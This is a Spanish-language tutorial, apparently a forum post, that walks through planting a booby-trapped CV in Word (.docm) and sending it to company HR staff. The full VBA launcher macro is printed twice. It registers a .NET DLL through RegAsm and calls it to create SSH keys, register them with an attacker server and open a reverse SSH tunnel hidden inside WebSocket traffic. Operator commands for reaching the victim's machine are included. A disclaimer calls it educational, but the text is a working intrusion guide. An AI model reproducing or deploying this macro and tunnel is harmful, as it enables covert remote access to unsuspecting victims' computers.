A día de hoy, este enfoque todavía puede funcionar en ciertos escenarios, pero la realidad es que cada vez genera más sospechas: los usuarios son más cautos y cualquier comportamiento mínimamente anómalo suele levantar alertas.
Por eso resulta interesante plantear una alternativa.
Partamos de una premisa bastante realista: muchas empresas están abiertas a recibir CVs de candidatos, y los departamentos de RRHH no suelen estar especialmente enfocados en seguridad informática.
¿Qué pasaría si ese CV, aparentemente legítimo, estuviera “preparado” para hacer algo más que presentarte como candidato?
Para sorpresa (o desgracia) de muchos, Microsoft Office sigue soportando a día de hoy VBA embebido en documentos como Word o Excel. Esto abre la puerta a un vector de ataque tan simple como efectivo: enviar un CV en formato Word aparentemente inofensivo y esperar a que alguien lo abra.
A partir de ahí, empieza la parte interesante.
Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.
La idea no es la típica reverse shell ruidosa, sino algo bastante más elegante: establecer un túnel SSH inverso encapsulado dentro de tráfico WebSocket (WSS), de forma que toda la comunicación salga como si fuera tráfico HTTPS legítimo.
El flujo arranca en cuanto se abre el documento. La macro no hace nada especialmente complejo por sí misma, pero sí actúa como launcher:
• Registra una DLL .NET mediante RegAsm
• Invoca un método expuesto vía COM (StartDefault)
Este punto es clave: VBA se utiliza únicamente como puerta de entrada, mientras que toda la lógica real se delega en código .NET, mucho más flexible y potente.
Una vez dentro de la DLL, comienza el flujo principal:
1. Generación de clave SSH
Si no existe previamente, se crea un par de claves ed25519 en:
C:\ProgramData\SshReverseTunnel\ssh\
Esto permite autenticación sin contraseña y, además, introduce cierta persistencia, ya que la clave se reutiliza en ejecuciones posteriores.
2. Registro de la clave en el servidor
El cliente envía su clave pública a un endpoint:
/api/register-key
El servidor la añade a authorized_keys, permitiendo que ese cliente pueda autenticarse automáticamente contra su servicio SSH.
3. Creación del canal encubierto (WSS)
Aquí es donde la técnica se vuelve realmente interesante.
En lugar de conectar directamente por SSH al servidor remoto, el cliente levanta un listener local:
127.0.0.1:2222
Sin embargo, este puerto no es un servidor SSH real, sino un proxy TCP que encapsula el tráfico dentro de WebSocket seguro (WSS) hacia:
wss://mi-servidor.com/tunnel
(en un escenario real, típicamente asociado a un dominio dinámico)
El flujo real sería:
Código:
ssh.exe → localhost:2222 → WebSocket (WSS) → servidor → SSH real
4. Establecimiento del túnel SSH
Con el proxy en marcha, se lanza OpenSSH:
Código:
ssh -N -p 2222 -R 9000:127.0.0.1:22 usuario@127.0.0.1
Aquí está el truco:• -p 2222 → conecta contra el proxy local
• El tráfico termina realmente en el SSH del servidor
• Todo el canal SSH viaja encapsulado dentro de WSS
Una vez autenticado, se negocia el reverse tunnel:
Código:
-R 9000:127.0.0.1:22
Esto provoca que, en el servidor, se abra:
localhost:9000 → redirige al SSH de la víctima
5. Resultado final
Desde el lado del operador, el acceso es trivial:
Código:
ssh -p 9000 usuario@localhost
Y eso termina abriendo una sesión SSH directamente contra la máquina víctima, como si estuviera expuesta en la red local.Muy bien, ¿y cuál sería entonces el procedimiento?
Lo primero sería redactar un CV falso (eso lo dejo a la imaginación del querido lector), y después sería necesario guardarlo como documento .docm.
En este documento guardamos nuestro launcher:
Código:
Option Explicit
Private Const DLL_NAME As String = "SshReverseTunnel.dll"
Private Const PROG_ID As String = "SshReverseTunnel.SshReverseTunnel"
Sub RegisterAndRun()
Dim dllPath As String
Dim regAsmPath As String
Dim cmd As String
Dim rc As Long
Dim obj As Object
Dim sh As Object
Dim ex As Object
dllPath = ThisDocument.Path & "\" & DLL_NAME
regAsmPath = GetRegAsmPath()
If Dir(dllPath) = "" Then
Exit Sub
End If
If Dir(regAsmPath) = "" Then
Exit Sub
End If
Set sh = CreateObject("WScript.Shell")
cmd = """" & regAsmPath & """ """ & dllPath & """ /codebase"
Set ex = sh.Exec(cmd)
Do While ex.Status = 0
DoEvents
Loop
rc = ex.ExitCode
If rc <> 0 Then
Exit Sub
End If
Set obj = CreateObject(PROG_ID)
If obj Is Nothing Then
Exit Sub
End If
obj.StartDefault
Exit Sub
End Sub
Function GetRegAsmPath() As String
#If Win64 Then
GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
#Else
GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
#End If
End Function
Private Const DLL_NAME As String = "SshReverseTunnel.dll"
Private Const PROG_ID As String = "SshReverseTunnel.SshReverseTunnel"
Sub RegisterAndRun()
Dim dllPath As String
Dim regAsmPath As String
Dim cmd As String
Dim rc As Long
Dim obj As Object
Dim sh As Object
Dim ex As Object
dllPath = ThisDocument.Path & "\" & DLL_NAME
regAsmPath = GetRegAsmPath()
If Dir(dllPath) = "" Then
Exit Sub
End If
If Dir(regAsmPath) = "" Then
Exit Sub
End If
Set sh = CreateObject("WScript.Shell")
cmd = """" & regAsmPath & """ """ & dllPath & """ /codebase"
Set ex = sh.Exec(cmd)
Do While ex.Status = 0
DoEvents
Loop
rc = ex.ExitCode
If rc <> 0 Then
Exit Sub
End If
Set obj = CreateObject(PROG_ID)
If obj Is Nothing Then
Exit Sub
End If
obj.StartDefault
Exit Sub
End Sub
Function GetRegAsmPath() As String
#If Win64 Then
GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
#Else
GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
#End If
End Function
Este launcher actúa como puente entre el documento y una DLL externa. En un poco más de detalle:
1.Localiza recursos
Construye la ruta de la DLL (SshReverseTunnel.dll) en la misma carpeta del documento.
Obtiene la ruta de RegAsm.exe (según si el sistema es 32 o 64 bits).
2. Verifica que todo exista
Si no encuentra la DLL o RegAsm, se detiene sin hacer nada.
3. Registra la DLL como COM
Ejecuta RegAsm.exe con /codebase, lo que permite registrar la DLL directamente desde su ubicación actual.
Espera a que el proceso termine y comprueba que no haya errores.
4. Crea el objeto
Usa CreateObject("SshReverseTunnel.SshReverseTunnel") para instanciar la clase definida en la DLL.
5. Ejecuta la funcionalidad
Llama al método StartDefault, que es donde realmente está la lógica (en la DLL, no en la macro).

